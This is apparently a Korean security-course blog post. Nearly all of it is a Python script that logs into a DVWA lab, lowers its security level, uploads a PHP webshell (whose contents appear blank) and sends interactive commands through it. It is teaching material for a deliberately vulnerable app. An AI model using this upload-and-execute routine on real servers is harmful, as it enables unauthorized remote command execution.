FileUpload 취약점 진단

2020. 4. 21. 22:13정보보안과정/웹 페이지 취약점 진단

#!/usr/bin/env /usr/bin/python3
#
# File Upload Attack
#

# (1) Login attempt
# (2) Security level setting
# (3) File upload possible?
# (4) File upload attack

import requests
from bs4 import BeautifulSoup
import re
import sys

domain = 'http://192.168.10.134'
proxies = {'http': 'http://localhost:9000', 'https': 'http://localhost:9000'}
s = requests.Session()

# (1) Login attempt
login_url = domain + '/dvwa/login.php'
login_data = {'username': 'admin', 'password': 'password', 'Login': 'Login'}
resp = s.post(login_url, data=login_data)
soup = BeautifulSoup(resp.text, 'lxml')
# print(soup.div.h1.string)
if re.search('Welcome to Damn Vulnerable Web App', soup.div.h1.string):
    print('[+] Login successfully.')
else:
    sys.exit('[-] Login failed.')

# (2) Security level setting
security_url = domain + '/dvwa/security.php'
security_data = {'security': 'low', 'seclev_submit': 'Submit'}
resp = s.post(security_url, data=security_data)
soup = BeautifulSoup(resp.text, 'lxml')
# print(soup.find_all('div', class_='message'))
if re.search('Security level set to low', str(soup.find_all('div', class_='message'))):
    print('[+] Security level set to low.')
else:
    sys.exit('[-] Security level is not set to low.')

# (3) File upload possible?
upload_url = domain + '/dvwa/vulnerabilities/upload/'
upload_files = {'uploaded': ('test.php', '', 'text/plain')}
upload_data = {'MAX_FILE_SIZE': 100000, 'Upload': 'Upload'}
resp = s.post(upload_url, files=upload_files, data=upload_data)
# print(resp.text)
soup = BeautifulSoup(resp.text, 'lxml')
# print(soup.div.pre.string)
if re.search('succesfully uploaded', soup.div.pre.string):
    print('[+] Upload is possible.')
else:
    sys.exit('[-] Upload is impossible.')

# (3) File upload possible?
upload_url = domain + '/dvwa/vulnerabilities/upload/'
upload_files = {'uploaded': ('test.php', '', 'text/plain')}
upload_data = {'MAX_FILE_SIZE': 100000, 'Upload': 'Upload'}
resp = s.post(upload_url, files=upload_files, data=upload_data)
# print(resp.text)
soup = BeautifulSoup(resp.text, 'lxml')
# print(soup.div.pre.string)
if re.search('succesfully uploaded', soup.div.pre.string):
    print('[+] Upload is possible.')
else:
    sys.exit('[-] Upload is impossible.')

# (4) File upload attack
# (4-1) Webshell create.
webshell = 'cmd.php'
with open(webshell, 'w') as fd:
    fd.write('

')


# (4-2) Webshell uploaded.
upload_files = {'uploaded': ('cmd.php', open(webshell, 'rb'), 'text/plain')}
resp = s.post(upload_url, files=upload_files, data=upload_data)
# print(resp.text)
soup = BeautifulSoup(resp.text, 'lxml')
# print(soup.div.pre.string)

if re.search('succesfully uploaded', soup.div.pre.string):
    print('[+] cmd.php file uploaded.')
else:
    sys.exit('[-] cmd.php file upload failed.')

# (4-3) Webshell executed.
cmd_url = domain + '/dvwa/hackable/uploads/cmd.php?'
while True:
    try:
        CMD = input("Enter your command (CMD|q) : ")
        print(CMD)
        if CMD == 'q':
            break
        cmd_params = {'cmd': CMD}
        resp = s.get(cmd_url, params=cmd_params)
        print(resp.text)
        soup = BeautifulSoup(resp.text, 'lxml')
        print('----------- Command Output ---------------')
        print(soup.pre.string)
    except KeyboardInterrupt:
        sys.exit()

'정보보안과정 > 웹 페이지 취약점 진단' 카테고리의 다른 글

CSRF 취약점 진단  (0) 2020.04.22
SQL Injection 취약점 진단  (0) 2020.04.21
Command Execution 취약점 진단  (0) 2020.04.06